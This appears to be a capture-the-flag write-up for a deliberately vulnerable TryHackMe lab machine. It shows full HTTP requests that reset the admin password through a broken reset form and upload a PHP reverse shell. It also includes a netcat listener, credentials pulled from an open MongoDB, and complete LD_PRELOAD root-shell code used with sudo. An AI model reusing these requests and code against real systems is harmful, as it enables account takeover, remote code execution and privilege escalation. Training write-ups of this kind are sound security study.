This is THM: Road.

Inspired by a real-world pentesting engagement

Medium rated.

Ports

SSH and HTTP, we’ll assume we’re looking to compromise a website.

Clicking around on the site we have a website for a courier company, we can register an account:

POST /v2/admin/reg.php HTTP/1.1
Host: 10.10.55.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://10.10.55.104
Connection: close
Referer: http://10.10.55.104/v2/admin/register.html?register=
Cookie: PHPSESSID=kr3ntku0s06d4d6alb33kfctrr
Upgrade-Insecure-Requests: 1

ci_csrf_token=&User_Email=user%40user.com&User_Pass=password&conpass=password&Us_Cont=1234567890&submit=

And then login. Once we’re logged in, we can poke around and most of the links are disabled, but we do have an option to reset our password:

POST /v2/lostpassword.php HTTP/1.1
Host: 10.10.55.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------82609457926100363341274917374
Content-Length: 648
Origin: http://10.10.55.104
Connection: close
Referer: http://10.10.55.104/v2/ResetUser.php
Cookie: PHPSESSID=6e36ec9l9agmadm6ssoqfjphi0; Bookings=0; Manifest=0; Pickup=0; Delivered=0; Delay=0; CODINR=0; POD=0; cu=0
Upgrade-Insecure-Requests: 1

-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="uname"

user@user.com

-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="npass"
hello
-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="cpass"
hello
-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="ci_csrf_token"
-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="send"
Submit
-----------------------------82609457926100363341274917374--

And if we look at our profile:

GET /v2/profile.php HTTP/1.1

We see there is an option to upload a profile picture, but there is a message:

Right now, only admin has access to this feature. Please drop an email to admin@sky.thm in case of any changes.

So, of course we use the password reset feature with the admin username, right?!

POST /v2/lostpassword.php HTTP/1.1
Host: 10.10.55.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------82609457926100363341274917374
Content-Length: 648
Origin: http://10.10.55.104
Connection: close
Referer: http://10.10.55.104/v2/ResetUser.php
Cookie: PHPSESSID=6e36ec9l9agmadm6ssoqfjphi0; Bookings=0; Manifest=0; Pickup=0; Delivered=0; Delay=0; CODINR=0; POD=0; cu=0
Upgrade-Insecure-Requests: 1

-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="uname"
admin@sky.thm
-----------------------------82609457926100363341274917374
Content-Disposition: form-data; name="npass"
...etc

And we get this response:

Password changed. 
Taking you back...

And now we are admin. Which means we can upload a profile picture:

POST /v2/profile.php HTTP/1.1
Host: 10.10.55.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------136235337437474030683435809052
Content-Length: 6082
Origin: http://10.10.55.104
Connection: close
Referer: http://10.10.55.104/v2/profile.php
Cookie: PHPSESSID=2h6d1lq455asheqv0c5l80enhm; Bookings=21; Manifest=10; Pickup=2; Delivered=13; Delay=5; CODINR=972; POD=19; cu=1
Upgrade-Insecure-Requests: 1
-----------------------------136235337437474030683435809052
Content-Disposition: form-data; name="pimage"; filename="shell.php"
Content-Type: application/x-php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
...etc

But where do we find it? This is where the Burpsuite ‘Target’ tab comes in handy:

http://10.10.55.104/v2/profileimages/

We have no directory listing, so let’s try:

http://10.10.55.104/v2/profileimages/shell.php

┌──(root💀kali)-[/opt/thm/road]
└─# nc -nvlp 1234 
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.55.104] 46866
Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 04:32:30 up 14 min,  0 users,  load average: 0.00, 0.14, 0.32
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@sky:/$ ls -lash

Boom.

Next

Linpeas says we have mongodb:

╔══════════╣ Analyzing Mongo Files (limit 70)
Version: MongoDB shell version v4.4.6                                                                                                                                                                           
Build Info: {
    "version": "4.4.6",
    "gitVersion": "72e66213c2c3eab37d9358d5e78ad7f5c1d0d0d7",
    "openSSLVersion": "OpenSSL 1.1.1f  31 Mar 2020",
    "modules": [],
    "allocator": "tcmalloc",
    "environment": {
        "distmod": "ubuntu2004",
        "distarch": "x86_64",
        "target_arch": "x86_64"
    }
}
db version v4.4.6
Build Info: {
    "version": "4.4.6",
    "gitVersion": "72e66213c2c3eab37d9358d5e78ad7f5c1d0d0d7",
    "openSSLVersion": "OpenSSL 1.1.1f  31 Mar 2020",
    "modules": [],
    "allocator": "tcmalloc",
    "environment": {
        "distmod": "ubuntu2004",
        "distarch": "x86_64",
        "target_arch": "x86_64"
    }
}
-rw-r--r-- 1 root root 626 Dec 19  2013 /etc/mongod.conf
storage:
  dbPath: /var/lib/mongodb
  journal:
    enabled: true
systemLog:
  destination: file
  logAppend: true
  path: /var/log/mongodb/mongod.log
net:
  port: 27017
  bindIp: 127.0.0.1
processManagement:
  timeZoneInfo: /usr/share/zoneinfo

I don’t know how to use it:

www-data@sky:/tmp$ which mongo
which mongo
/usr/bin/mongo
www-data@sky:/tmp$ mongo -h
mongo -h
MongoDB shell version v4.4.6
usage: mongo [options] [db address] [file names (ending in .js)]

But that’s never stopped me before:

www-data@sky:/tmp$ mongo localhost:27017
mongo localhost:27017
MongoDB shell version v4.4.6
# etc
> show dbs
shshow dbs
admin   0.000GB
backup  0.000GB
config  0.000GB
local   0.000GB
> use backup
ususe backup
switched to db backup
> show collections
shshow collections
collection
user
> db.user.find()
dbdb.user.find()
{ "_id" : ObjectId("60ae2661203d21857b184a76"), "Month" : "Feb", "Profit" : "25000" }
{ "_id" : ObjectId("60ae2677203d21857b184a77"), "Month" : "March", "Profit" : "5000" }
{ "_id" : ObjectId("60ae2690203d21857b184a78"), "Name" : "webdeveloper", "Pass" : "BahamasChapp123!@#" }
{ "_id" : ObjectId("60ae26bf203d21857b184a79"), "Name" : "Rohit", "EndDate" : "December" }
{ "_id" : ObjectId("60ae26d2203d21857b184a7a"), "Name" : "Rohit", "Salary" : "30000" }

Hello!

Privesc

www-data@sky:/tmp$ su webdeveloper
su webdeveloper
Password: BahamasChapp123!@#

webdeveloper@sky:/tmp$ sudo -l
sudo -l
Matching Defaults entries for webdeveloper on sky:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User webdeveloper may run the following commands on sky:
    (ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility
webdeveloper@sky:/tmp$

I have never done one of these before. The tar wildcard privesc doesn’t work on an extract, and it’s LD_PRELOAD we want.

webdeveloper@sky:/tmp$ cat shell.c
cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
webdeveloper@sky:/tmp$
webdeveloper@sky:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function ‘_init’:
shell.c:6:1: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    6 | setgid(0);
      | ^~~~~~
shell.c:7:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    7 | setuid(0);
      | ^~~~~~
webdeveloper@sky:/tmp$ ls -al shell.so
ls -al shell.so
-rwxrwxr-x 1 webdeveloper webdeveloper 14760 Nov 28 05:24 shell.so
webdeveloper@sky:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility
<D_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility
# id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
sky
Sun 28 Nov 2021 05:25:40 AM UTC
# cd /root
cd /root
# ls -lash
ls -lash
total 36K
4.0K drwx------  6 root root 4.0K Oct  8 08:22 .
4.0K drwxr-xr-x 20 root root 4.0K May 25  2021 ..
4.0K drwxr-xr-x  2 root root 4.0K Aug  7 21:51 .backup
   0 lrwxrwxrwx  1 root root    9 May 25  2021 .bash_history -> /dev/null
4.0K -rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
4.0K drwx------  2 root root 4.0K Oct  8 08:21 .cache
4.0K drwxr-xr-x  3 root root 4.0K May 25  2021 .local
4.0K -rw-r--r--  1 root root  161 Dec  5  2019 .profile
4.0K -r--------  1 root root   33 May 24  2021 root.txt
4.0K drwx------  2 root root 4.0K May 25  2021 .ssh
# cat root.txt
cat root.txt
FLAG_GOES_HERE

This was fun :)